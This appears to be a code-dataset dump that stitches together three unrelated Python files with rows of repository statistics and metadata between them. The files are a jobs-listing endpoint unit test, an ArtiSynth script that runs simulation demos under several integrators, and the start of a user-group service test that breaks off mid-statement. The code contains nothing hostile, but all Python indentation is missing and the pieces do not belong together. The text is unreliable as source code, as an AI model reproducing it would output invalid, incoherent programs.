sorting_columns = ['start_time', 'status']
filtering_columns = [
{
'name': 'job_id',
'test_values': ('00000000-0000-0000-0000-000000000000', 'my job 1')
},
{
'name': 'status',
'test_values': ('queued', 'running')
},
{
'name': 'user',
'test_values': ('beethoven', 'soju hero')
},
{
'name': 'duration',
'test_values': ('1_0_0_0', '2_0_0_0')
},
{
'name': 'start_time',
'test_values': ('03_03_1973_09_46', '11_29_1973_21_33')
}
]
running_tags = {
'am_i_running': 'True',
'num_gpus': 20
}
completed_tags = {
'am_i_running': 'False',
'num_gpus': 0,
'cool': 'dude'
}
expected_running_tags = {
'am_i_running': 'True',
'num_gpus': '20'
}
expected_completed_tags = {
'am_i_running': 'False',
'num_gpus': '0',
'cool': 'dude'
}
@classmethod
def setUpClass(klass):
JobsTestsHelperMixinV2.setUpClass()
klass._set_project_name(JobsTestsHelperMixinV2._str_random_uuid())
klass._setup_five_jobs()
@classmethod
def _setup_five_jobs(klass):
klass._make_running_job('00000000-0000-0000-0000-000000000000', 'soju hero', start_timestamp=99999999, tags=klass.running_tags)
klass._make_completed_job('my job 1', 'beethoven', start_timestamp=100000000, end_timestamp=100086400)
klass._make_completed_job('my job 2', 'mozart', start_timestamp=123456780, end_timestamp=123555555, tags=klass.completed_tags)
klass._make_queued_job('queued job 0', 'kyle')
klass._make_queued_job('queued job 1', 'jinnah')
def test_get_route(self):
data = super(TestJobsListingEndpointV2, self).test_get_route()
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][3]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0')
def test_get_tags(self):
data = super(TestJobsListingEndpointV2, self).test_get_route()
self.assertEqual(data['jobs'][0]['tags'], self.expected_completed_tags)
self.assertEqual(data['jobs'][1]['tags'], {})
self.assertEqual(data['jobs'][2]['tags'], self.expected_running_tags)
self.assertEqual(data['jobs'][3]['tags'], {})
self.assertEqual(data['jobs'][4]['tags'], {})
def test_duration(self):
import re
regex = re.compile(r'\d+d\d+h\d+m\d+s')
data = super(TestJobsListingEndpointV2, self).test_get_route()
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertIsNotNone(regex.match(data['jobs'][0]['duration']))
self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0')
self.assertIsNone(data['jobs'][4]['duration'])
def test_sorted_start_time_descending(self):
data = super(TestJobsListingEndpointV2, self).test_sorted_start_time_descending()
self.assertEqual(data['jobs'][0]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][1]['job_id'], 'queued job 0')
self.assertEqual(data['jobs'][2]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][3]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_sorted_start_time_ascending(self):
data = super(TestJobsListingEndpointV2, self).test_sorted_start_time_ascending()
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], 'my job 2')
def test_sorted_status_descending(self):
data = super(TestJobsListingEndpointV2, self).test_sorted_status_descending()
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][1]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0')
self.assertEqual(data['jobs'][3]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][4]['job_id'], 'my job 1')
def test_sorted_status_ascending(self):
data = super(TestJobsListingEndpointV2, self).test_sorted_status_ascending()
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][3]['job_id'], 'queued job 0')
self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_all_ascending(self):
data = super(TestJobsListingEndpointV2, self).test_all_ascending()
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][3]['job_id'], 'queued job 0')
self.assertEqual(data['jobs'][4]['job_id'], 'queued job 1')
def test_all_descending(self):
data = super(TestJobsListingEndpointV2, self).test_all_descending()
self.assertEqual(data['jobs'][0]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][1]['job_id'], 'queued job 0')
self.assertEqual(data['jobs'][2]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][3]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][4]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_alternation(self):
data = super(TestJobsListingEndpointV2, self).test_alternation()
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], 'my job 2')
def test_filter_job_id_range(self):
data = super(TestJobsListingEndpointV2, self).test_filter_job_id_range()
self.assertEqual(len(data['jobs']), 2)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_job_id_exact_match_one_option(self):
data = super(TestJobsListingEndpointV2, self).test_filter_job_id_exact_match_one_option()
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_job_id_exact_match_two_options(self):
data = super(TestJobsListingEndpointV2, self).test_filter_job_id_exact_match_two_options()
self.assertEqual(len(data['jobs']), 2)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_status_range(self):
data = super(TestJobsListingEndpointV2, self).test_filter_status_range()
self.assertEqual(len(data['jobs']), 3)
self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0')
def test_filter_status_exact_match_one_option(self):
data = super(TestJobsListingEndpointV2, self).test_filter_status_exact_match_one_option()
self.assertEqual(len(data['jobs']), 2)
def test_filter_status_exact_match_two_options(self):
data = super(TestJobsListingEndpointV2, self).test_filter_status_exact_match_two_options()
self.assertEqual(len(data['jobs']), 3)
self.assertEqual(data['jobs'][2]['job_id'], 'queued job 0')
def test_filter_user_range(self):
data = super(TestJobsListingEndpointV2, self).test_filter_user_range()
self.assertEqual(len(data['jobs']), 5)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000')
self.assertEqual(data['jobs'][3]['job_id'], 'queued job 1')
self.assertEqual(data['jobs'][4]['job_id'], 'queued job 0')
def test_filter_user_exact_match_one_option(self):
data = super(TestJobsListingEndpointV2, self).test_filter_user_exact_match_one_option()
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
def test_filter_user_exact_match_two_options(self):
data = super(TestJobsListingEndpointV2, self).test_filter_user_exact_match_two_options()
self.assertEqual(len(data['jobs']), 2)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][1]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_job_id_contains(self):
custom_test_method = super(TestJobsListingEndpointV2, self)._get_test_route_method('?job_id_contains=1')
data = custom_test_method(self)
self.assertEqual(len(data['jobs']), 2)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
def test_filter_user_contains(self):
custom_test_method = super(TestJobsListingEndpointV2, self)._get_test_route_method('?user_contains=hero')
data = custom_test_method(self)
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_duration_range(self):
data = super(TestJobsListingEndpointV2, self).test_filter_duration_range()
self.assertEqual(len(data['jobs']), 2)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
def test_filter_duration_exact_match_one_option(self):
data = super(TestJobsListingEndpointV2, self).test_filter_duration_exact_match_one_option()
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
def test_filter_duration_exact_match_two_options(self):
data = super(TestJobsListingEndpointV2, self).test_filter_duration_exact_match_two_options()
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 1')
def test_filter_start_time_range(self):
data = super(TestJobsListingEndpointV2, self).test_filter_start_time_range()
self.assertEqual(len(data['jobs']), 3)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
self.assertEqual(data['jobs'][1]['job_id'], 'my job 1')
self.assertEqual(data['jobs'][2]['job_id'], '00000000-0000-0000-0000-000000000000')
def test_filter_start_time_exact_match_one_option(self):
data = super(TestJobsListingEndpointV2, self).test_filter_start_time_exact_match_one_option()
self.assertEqual(len(data['jobs']), 0)
def test_filter_start_time_exact_match_two_options(self):
data = super(TestJobsListingEndpointV2, self).test_filter_start_time_exact_match_two_options()
self.assertEqual(len(data['jobs']), 1)
self.assertEqual(data['jobs'][0]['job_id'], 'my job 2')
| 48.725 | 135 | 0.659483 | 1,512 | 11,694 | 4.841931 | 0.080688 | 0.095069 | 0.176479 | 0.213632 | 0.846469 | 0.816692 | 0.783226 | 0.76424 | 0.710422 | 0.641579 | 0 | 0.083325 | 0.176928 | 11,694 | 239 | 136 | 48.92887 | 0.677299 | 0 | 0 | 0.425743 | 0 | 0 | 0.199076 | 0.056439 | 0 | 0 | 0 | 0 | 0.430693 | 1 | 0.143564 | false | 0 | 0.014851 | 0 | 0.19802 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
08af31a86acb9e5227a16d018a3cd3ecb73c230a | 15,080 | py | Python | src/artisynth/core/mechmodels/mechmodelTest.py | gaetanbahl/carapas | 71c9b9355b740b7312da1a579e4bff5175eb100b | [
"Apache-2.0",
"BSD-3-Clause"
] | 2 | 2021-01-12T15:42:32.000Z | 2021-09-03T10:08:17.000Z | src/artisynth/core/mechmodels/mechmodelTest.py | gaetanbahl/carapas | 71c9b9355b740b7312da1a579e4bff5175eb100b | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | src/artisynth/core/mechmodels/mechmodelTest.py | gaetanbahl/carapas | 71c9b9355b740b7312da1a579e4bff5175eb100b | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | # ArtisynthScript: "MechmodelTest"
#
# For repeatable results, set the environment variable OMP_NUM_THREADS
# to 1
#
# most recent test was run using:
# 1 step of numerical refinement in Pardiso
# a time step of 0.01 in RigidBodyCollision
def setModelOpts (t, file) :
mech = find ("models/0")
mech.setPrintState ("%g")
addBreakPoint (t)
return mech
# Adjust certain solver settings to ensure repeatable results:
MechSystemSolver.myDefaultHybridSolveP = False
MechSystemBase.setDefaultStabilization (PosStabilization.GlobalMass)
FemModel3d.noIncompressStiffnessDamping = False
SurfaceMeshCollider.useAjlCollision = False
PardisoSolver.setDefaultNumThreads (1)
#main.maskFocusStealing (True)
dataFileName = "mechmodelTest.out"
loadModel ("artisynth.demos.mech.SpringMeshDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.openPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ForwardEuler)
pw.println ("#SpringMesh ForwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#SpringMesh RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#SpringMesh BackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.RigidBodyDemo")
mech = setModelOpts (1.5, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ForwardEuler)
pw.println ("#RigidBody ForwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#RigidBody RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#RigidBody BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#RigidBody ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.MechModelDemo")
mech = setModelOpts (2.5, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
pw.println ("#MechModel SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#MechModel RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#MechModel BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#MechModel ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.MultiSpringDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#MultiSpringDemo SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#MultiSpringDemo RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#MultiSpringDemo BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#MultiSpringDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.SegmentedPlaneDemo")
mech = setModelOpts (2, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#SegmentedPlaneDemo SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#SegmentedPlaneDemo RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#SegmentedPlaneDemo BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#SegmentedPlaneDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.ArticulatedFem")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#ArticulatedFem BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#ArticulatedFem ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.Hex3dBlock")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
fem = mech.findComponent ("models/fem")
fem.setIncompressible (FemModel.IncompMethod.AUTO)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#HexBlock BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#HexBlock ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.TetBeam3d")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
fem = mech.findComponent ("models/fem")
fem.setIncompressible (FemModel.IncompMethod.AUTO)
prop = root().getProperty("excitation0")
prop.set (0.5)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#TetBeam3d BackwardEuler");
run()
waitForStop()
reset()
prop.set (0.5)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#TetBeam3d ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.PlaneConstrainedFem")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
fem = mech.findComponent ("models/fem")
fem.setIncompressible (FemModel.IncompMethod.AUTO)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#PlaneConstrainedFem BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#PlaneConstrainedFem ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.AttachedBeamDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
fem = mech.findComponent ("models/beam1")
fem.setIncompressible (FemModel.IncompMethod.AUTO)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#AttachedBeamDemo BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#AttachedBeamDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.HexBeam3d")
mech = find ("models/0")
mech.setPrintState ("%g")
fem = find ("models/0/models/0");
pw = mech.reopenPrintStateFile (dataFileName)
pw.println ("#NodalIncompTest ConstrainedBackwardEuler")
fem.setMaterial (MooneyRivlinMaterial())
addBreakPoint (0.3)
addBreakPoint (0.6)
addBreakPoint (0.9)
run()
waitForStop()
fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL)
run()
waitForStop()
fem.setMaterial (LinearMaterial())
run()
waitForStop()
reset()
fem.setMaterial (MooneyRivlinMaterial())
fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL)
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#NodalIncompTest BackwardEuler")
run()
waitForStop()
fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL)
run()
waitForStop()
fem.setMaterial (LinearMaterial())
run()
waitForStop()
reset()
fem.setMaterial (MooneyRivlinMaterial())
fem.setSoftIncompMethod (FemModel3d.IncompMethod.NODAL)
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.SelfCollision")
mech = setModelOpts (0.7, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#SelfCollision BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#SelfCollision ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.FemMuscleDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#FemMuscleDemo BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#FemMuscleDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.ViscousBeam")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#ViscousBeam BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#ViscousBeam ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.ArticulatedBeamBody")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#ArticulatedBeamBody SymplecticEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.AttachedBeamBody")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#AttachedBeamBody ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.BlockTest")
mech = setModelOpts (2, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#BlockTest SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#BlockTest RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#BlockTest ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.FrameSpringDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#FrameSpring SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#FrameSpring RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#FrameSpring ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.RigidBodyCollision")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#RigidBodyCollision SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#RigidBodyCollision RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#RigidBodyCollision BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#RigidBodyCollision ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.FemSkinDemo")
mech = setModelOpts (0.5, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#FemSkinDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.models.collision.SkinCollisionTest")
mech = setModelOpts (2.0, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#SkinCollisionTest ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.SkinDemo")
mech = setModelOpts (2.5, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#SkinDemo ConstrainedBackwardEuler");
root().getInputProbes().get(0).setActive(True)
run()
waitForStop()
reset()
loadModel ("artisynth.demos.mech.LaymanDemo")
mech = setModelOpts (1.5, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#LaymanDemo SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#LaymanDemo RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#LaymanDemo BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#LaymanDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.fem.FemCollision")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.BackwardEuler)
pw.println ("#FemCollision BackwardEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#FemCollision ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.models.dynjaw.JawLarynxDemo");
mech = setModelOpts (2, dataFileName) # there is an earlier breakpoint at 0.575
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.SymplecticEuler)
pw.println ("#JawLarynxDemo SymplecticEuler");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.RungeKutta4)
pw.println ("#JawLarynxDemo RungeKutta");
run()
waitForStop()
reset()
mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal)
pw.println ("#JawLarynxDemo Trapezoidal");
run()
waitForStop()
reset()
loadModel ("artisynth.models.inversedemos.TongueInvDemo")
mech = setModelOpts (0.1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.ConstrainedBackwardEuler)
pw.println ("#TongueInvDemo ConstrainedBackwardEuler");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.inverse.PointModel2d")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal)
pw.println ("#PointInv2d Trapezoidal");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.inverse.PointModel3d")
mech = setModelOpts (1, dataFileName)
mech.setMaxStepSize (0.05)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal)
pw.println ("#PointInv3d Trapezoidal");
run()
waitForStop()
reset()
loadModel ("artisynth.demos.inverse.HydrostatInvDemo")
mech = setModelOpts (1, dataFileName)
pw = mech.reopenPrintStateFile (dataFileName)
mech.setIntegrator (MechSystemSolver.Integrator.Trapezoidal)
pw.println ("#HydrostatInvDemo Trapezoidal");
run()
waitForStop()
reset()
#main.maskFocusStealing (False)
quit()
| 29.685039 | 79 | 0.807626 | 1,376 | 15,080 | 8.849564 | 0.114826 | 0.081629 | 0.104541 | 0.222469 | 0.805371 | 0.805371 | 0.793463 | 0.751417 | 0.61649 | 0.60951 | 0 | 0.006418 | 0.070159 | 15,080 | 507 | 80 | 29.74359 | 0.862003 | 0.025597 | 0 | 0.7473 | 0 | 0 | 0.21466 | 0.106615 | 0 | 0 | 0 | 0 | 0 | 1 | 0.00216 | false | 0 | 0 | 0 | 0.00432 | 0.140389 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
08cf4b0390f08a24bf77c5b70f686801773a6f0c | 44,781 | py | Python | app/test/unittest/test_user_group.py | michalkoziara/IoT-RESTful-Webservice | ecb0f3e09cded3190f3646e5cd6c913056d94981 | [
"bzip2-1.0.6"
] | 2 | 2021-09-24T02:45:32.000Z | 2021-11-15T09:44:44.000Z | app/test/unittest/test_user_group.py | PKramek/IoT-RESTful-Webservice-1 | ecb0f3e09cded3190f3646e5cd6c913056d94981 | [
"bzip2-1.0.6"
] | null | null | null | app/test/unittest/test_user_group.py | PKramek/IoT-RESTful-Webservice-1 | ecb0f3e09cded3190f3646e5cd6c913056d94981 | [
"bzip2-1.0.6"
] | 1 | 2021-09-11T11:47:32.000Z | 2021-09-11T11:47:32.000Z | from unittest.mock import Mock
from unittest.mock import patch
import pytest
from app.main.repository.admin_repository import AdminRepository
from app.main.repository.device_group_repository import DeviceGroupRepository
from app.main.repository.executive_device_repository import ExecutiveDeviceRepository
from app.main.repository.formula_repository import FormulaRepository
from app.main.repository.sensor_repository import SensorRepository
from app.main.repository.user_group_repository import UserGroupRepository
from app.main.repository.user_repository import UserRepository
from app.main.service.executive_device_service import ExecutiveDeviceService
from app.main.service.sensor_service import SensorService
from app.main.service.user_group_service import UserGroupService
from app.main.util.constants import Constants
def test_get_list_of_user_groups_should_return_list_of_user_groups_names_when_valid_request(
create_device_group,
create_user,
get_user_group_default_values,
create_user_group,
):
user_group_service = UserGroupService.get_instance()
device_group = create_device_group()
user = create_user()
first_user_group_values = get_user_group_default_values()
second_user_group_values = get_user_group_default_values()
third_user_group_values = get_user_group_default_values()
first_user_group_values['name'] = 'first'
second_user_group_values['name'] = 'second'
third_user_group_values['name'] = 'third'
first_user_group = create_user_group(first_user_group_values)
second_user_group = create_user_group(second_user_group_values)
third_user_group = create_user_group(third_user_group_values)
device_group.user_groups = [first_user_group, second_user_group, third_user_group]
first_user_group.users = [user]
expected_output_values = [
{'isAssignedTo': True, 'name': 'first'},
{'isAssignedTo': False, 'name': 'second'},
{'isAssignedTo': False, 'name': 'third'},
]
with patch.object(
DeviceGroupRepository,
'get_device_group_by_product_key'
) as get_device_group_by_product_key_mock:
get_device_group_by_product_key_mock.return_value = device_group
with patch.object(UserRepository,
